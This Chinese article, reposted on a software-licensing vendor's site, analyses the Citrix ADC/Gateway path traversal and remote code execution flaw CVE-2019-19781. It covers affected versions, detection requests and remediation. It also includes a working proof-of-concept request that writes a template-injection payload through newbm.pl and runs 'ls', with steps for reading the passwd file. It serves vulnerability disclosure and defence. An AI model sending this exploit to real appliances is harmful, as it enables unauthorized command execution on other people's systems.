许可优化
许可优化
产品
产品
解决方案
解决方案
服务支持
服务支持
关于
关于
软件库
当前位置:服务支持 >  软件文章 >  【应用漏洞】Citrix路径遍历漏洞CVE-2019-19781分析与修复

【应用漏洞】Citrix路径遍历漏洞CVE-2019-19781分析与修复

阅读数 41
点赞 0
article_banner

参考:https://mp.weixin.qq.com/s/xjVL3hMNQjbX9KsHOdTPnQ

一、漏洞介绍

Citrix旗下多款交付控制器和网关存在RCE漏洞,攻击者在无需身份验证的情况下就可执行任意命令。根据安全网站的说法,这个RCE漏洞会有一个标记漏洞,即本次我们分析的Citrx路径遍历漏洞( CVE  -2019-19781)。

该漏洞利用复杂性低,且无权限要求,攻击者只能遍历vpns文件夹,但攻击者可能利用Citrx路径遍历漏洞进行RCE漏洞试探,从而发起进一步精准攻击。

二、影响范围

Citrix NetScaler ADC and NetScaler Gateway version 10.5

   Citrix ADC and NetScaler Gateway version 11.1 , 12.0 , 12.1

   Citrix ADC and Citrix Gateway version 13.0

三、漏洞验证

如果访问/vpn/../vpns/路径下,进行下面两个请求:

GET /vpn/../vpns/services.htmlGET /vpn/../vpns/cfg/smb.conf

如果都响应200成功,则证明此漏洞的存在。

四、漏洞探析

1.漏洞的基础:路径遍历  

通过php代码审计得知,Citrix会直接根据 HTTP  头部中的NSC_USER字段构建具体路径,没有进行任何过滤操作。

因此,调用带漏洞函数的任何 脚本 都可以触发路径漏洞。

2.xml文件创建

在众多文件中,存在一个newbm.pl脚本文件,该脚本会根据多个参数创建一个数组,然后调用filewrite函数,该函数将具体内容写入磁盘上的一个XML文件。

即,我们通过newbm.pl恶意上传内容,会被保存到指定的xml文件中。

3.漏洞提升:命令执行

进一步研究后,我们发现可以在XML文件中插入特定指令,如果模板引擎解析该内容,就有可能实现代码执行。

其中 $tmplfile 变量来自于HTTP请求路径,并且代码会创建一个新的模板,解析该文件。

上下联系起来,为了利用该漏洞,我们需要执行如下操作:

1、找到通过模板执行Perl代码的方法;

2、使用路径遍历漏洞将构造的XML文件写入模板目录;

3、浏览上传的XML文件,触发模板解析。

当然,这个漏洞的产生还取决于一个条件:Citrix有一个未公开的功能,可以用来执行任意perl代码。

五、漏洞复现及利用

1.访问下列URL,发现前端针对 ../ 做了净化与过滤。

但我们可以通过抓包重新修改后,进行绕过。

2.现在上传文件,执行输出passwd文件:

(1)上传、生成

此处的header和 data  中的文件名,可自定义。需要注意此处使用的文件名即是后续步骤中指定遍历的文件名,应上下统一。

(2)读文件,只要文件名和步骤1中对应的文件名一致即可

(3)再举一例,是运行 ls 指令的:

六、验证脚本

/vpn/../vpns/portal/scripts/newbm.pl HTTP/1.1Host: 对应网站hostUser-Agent: 1Connection: closeNSC_USER: ../../../netscaler/portal/templates/iiiooNSC_NONCE: nsrootContent-Length: 98 url=***&title=***(此处为自定义文本)&desc=[% template.new('BLOCK' = 'print `ls`') %]

七、修复方案

(1) 过滤对/vpns/目录下进行路径遍历的请求,过滤应该在服务侧进行

   (2)攻击方式一般为 先POST请求创建、 GET  请求查询,可对两种请求进行前后匹配

   (3)更多请参考官方公告:https://support.citrix.com/article/CTX267679POST

八、免责声明

本文中提到的漏洞利用Poc和脚本已在网络公布,仅供研究学习使用,请遵守《网络安全法》等相关法律法规。
免责声明:本文系网络转载或改编,未找到原创作者,版权归原作者所有。如涉及版权,请联系删


相关文章
技术文档
QR Code
微信扫一扫,欢迎咨询~
customer

online

联系我们
武汉格发信息技术有限公司
湖北省武汉市经开区科技园西路6号103孵化器
电话:155-2731-8020 座机:027-59821821
邮件:tanzw@gofarlic.com
Copyright © 2023 Gofarsoft Co.,Ltd. 保留所有权利
遇到许可问题?该如何解决!?
评估许可证实际采购量? 
不清楚软件许可证使用数据? 
收到软件厂商律师函!?  
想要少购买点许可证,节省费用? 
收到软件厂商侵权通告!?  
有正版license,但许可证不够用,需要新购? 
联系方式 board-phone 155-2731-8020
close1
预留信息,一起解决您的问题
* 姓名:
* 手机:

* 公司名称:

姓名不为空

姓名不为空

姓名不为空
手机不正确

手机不正确

手机不正确
公司不为空

公司不为空

公司不为空